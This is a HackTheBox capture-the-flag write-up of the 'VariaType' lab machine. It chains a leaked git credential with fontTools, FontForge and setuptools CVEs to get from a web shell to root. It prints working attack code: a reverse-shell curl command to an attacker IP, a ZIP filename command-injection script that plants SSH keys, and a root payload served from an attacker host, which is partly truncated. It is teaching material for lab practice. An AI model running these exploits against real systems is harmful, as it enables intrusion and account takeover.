Variatype Writeup (HackTheBox Medium Machine)

Post Cover

Another Medium machine on HTB. But this one is a little special.

Overview

VariaType is a medium-difficulty HackTheBox machine that chains a git-leaked credential and path traversal into a fonttools CVE then a fontforge command injection CVE , and finishes with a setuptools path traversal CVE abused through a root sudo script to plant an SSH key for root.

overview

Reconnaissance

Quick naabu scan as per usual to find open ports and services.
variatype.htb is revealed.

overview

Added that to /etc/hosts to access it over the browser.
It seems to be some sort of a font-generating service.

overview

The font generation button guides us to an upload form. The extensions in question are font generation specific.

overview

Guided by the newly-learned extensions, I tried to follow their trail for a possible CVE or known vulnerability, and I did find a recent one : CVE-2025-66034 : In fact, fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib, that leads to remote code execution when a malicious .designspace file is processed.

Following the PoC from this stage didn’t work for me, and I almost thought this was a rabbit hole.
Later on I made total use of this exploit but after a couple of additional steps.

Time to fuzz for subdomains:

overview

A new subdomain found. Adding it to /etc/hosts.
It’s a portal for internal validation.

overview

More fuzzing for directories under this new subdomain :

title:Directory fuzzing
1
2
3
4
5
6
7
8
9
10
11

└─$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt -u http://portal.variatype.htb/FUZZ -e .php,.js,.html

.git [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 41ms]
download.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 41ms]
index.php [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 49ms]
files [Status: 301, Size: 169, Words: 5, Lines: 8, Duration: 42ms]
view.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 48ms]
auth.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
dashboard.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 89ms]

A very interesting exposed .git directory is revealed, and we get to extract its contents thanks to a tool called git-dumper

title:git-dumper command
1
$ git-dumper http://portal.variatype.htb/.git repo

I checked the commit history.

overview

The most recent one is adding a gitbot user for the validation pipeline, so it’s safe to inspect that one. And we’re lucky to find plaintext credentials, that actually belong in the portal we found earlier.

overview

Authenticated successfully and accessed the Validation Dashboard.

overview

I went back and tested some of the files I found in my FFUF scan, most of them return nothing or 403 EXCEPT FOR download.php which gave us a valuable hint : File parameter required.
That could be a hint for LFI.
We also have the CVE we found still laying around.

First thing is to craft the malicious .designspace file :
overview
The earlier fuzzing revealed an additional subdirectory : files . And that’s exactly where the exploit is going to be put.
After uploading the malicious file alongside two ordinary (.ttf) files, we set our listener, then trigger the exploit :

title:Exploit Trigger
1
2
$ curl -s -b "PHPSESSID=q5kdjai4mul55bfo1m6paiktgd" \
"http://portal.variatype.htb/files/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/IPADDRESS/4444+0>%261'"

overview

And that’s how we got our revshell as user www-data.

Trying to locate the user flag, I found the user steve.

overview

CVE-2024-25082

This one has been super tricky. FontForge’s automatic archive extraction passes filenames to a shell without sanitization, allowing a semicolon-delimited payload embedded in a TAR (or ZIP) entry name to execute arbitrary commands.
CVE-2024-25082
The approach is to ssh as steve.

overview

Following the PoC , I used this exploit :

title:Lateral Movement Exploit
1
2
3
4
5
6
7
8
9
10
11
import zipfile
pubkey = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLpCWjg3G21s51I5vxXQVYTcMC2z3DAyze5yoa9gOOGc8A5dtYJEnL7Q0JvzS5tcpg++j3OofE0TsG/oS4M0t1WibbGxL+V4bqDB4uNShp7QyAVNKU3gp2bA75vDrQMTyuj8E+Y/nLIc6+RYe8M7+7hdLdiEAqNZJEURFf3sCGPAMCPIouDu5rxfWgcjo20WS1XT/w+FYDF0zNsjX837aUpo28Kfn2e1G7ETEFCUsuCFgM6UGChf/mYGTnqEjm8ALl1XuLrkJeO3Q4Z5UtSIlja+Rhkte01KXLuqYWSaDDpjbiztUUFQdJQoX+duOGzvMKvVdrFuflyuG7g8ClW7qx beylessen@bay11"

cmd = f"mkdir -p /home/steve/.ssh && echo '{pubkey}' > /home/steve/.ssh/authorized_keys && chmod 700 /home/steve/.ssh && chmod 600 /home/steve/.ssh/authorized_keys"

malicious_name = f"font.ttf;{cmd};.ttf"

with zipfile.ZipFile('payload.zip', 'w') as z:
z.writestr(malicious_name, b'dummy') # content doesn't matter, only the filename is parsed

print("[+] Created payload.zip")

cp payload.zip /var/www/portal.variatype.htb/public/files/payload.zip

Placing it here puts the ZIP wherever the application’s font-processing pipeline picks up new uploads/files for parsing, triggering the injected command when it’s unzipped and processed.

overview

That’s it for the user flag.

Privilege Escalation

The first test gives out good info already:

title:sudo privileges
1
2
3
4
5
6
7
8
steve@variatype:~$ sudo -l
sudo -l
Matching Defaults entries for steve on variatype:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User steve may run the following commands on variatype:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

User Steve is allowed to run /opt/font-tools/install_validator.py as root.
steve@variatype:~$ cat /opt/font-tools/install_validator.py :

title:install_validator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.

Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""

import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex

# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"

# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)

def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False

def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)

logging.info(f"Attempting to install plugin from: {plugin_url}")

index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)

def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)

plugin_url = sys.argv[1]

if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)

if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)

install_validator_plugin(plugin_url)

if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()

The script is a helper intended to let “typography operators” fetch validator plugins from a URL. It does minimal validation then hands the URL straight to setuptools.package_index.PackageIndex.download(), a legacy setuptools helper originally meant to fetch Python packages/eggs from PyPI-like indexes.
The key primitive here is arbitrary file write as root, controlled by us, of a .py file into a known directory.

Now we create an ssh key for the root locally .

overview

This is the payload we’ll be abusing to install our ssh key:

title:root_key.pub.py
1
2
3
4
#!/usr/bin/env python3
import os
os.system("mkdir -p /root/.ssh")
EOF

Next steps are to append they key to the payload then serve it:

overview

Then running : sudo /opt/font-tools/install_validator.py http://<attacker-ip>:8000/root_key.pub.py to trigger the download and execution of the payload.

overview

Final step is to ssh as root:
overview

And that’s it for the root flag.

Rating

Two words: Tricky & Special.
Tricky because it kept confusing me, there was a couple of ideas I got here and there that misled me (didn’t include them to keep the writeup neat).
Special because it got me to Hacker rank on HackTheBox. A milestone I’m proud of, that reminded me of how far I’ve gone, yet how far one still is in this journey.
4 Stars.
⭐⭐⭐⭐
overview

IconPlease share with your friends !
Thanks for reading !
This work is published by Beylessen Jendoubi at 2026-06-14 23:36:39
Link: Variatype Writeup (HackTheBox Medium Machine)
This work is licensed under CC BY-NC-SA 4.0. Please indicate Beylessen's Blog when reprinting.
Logo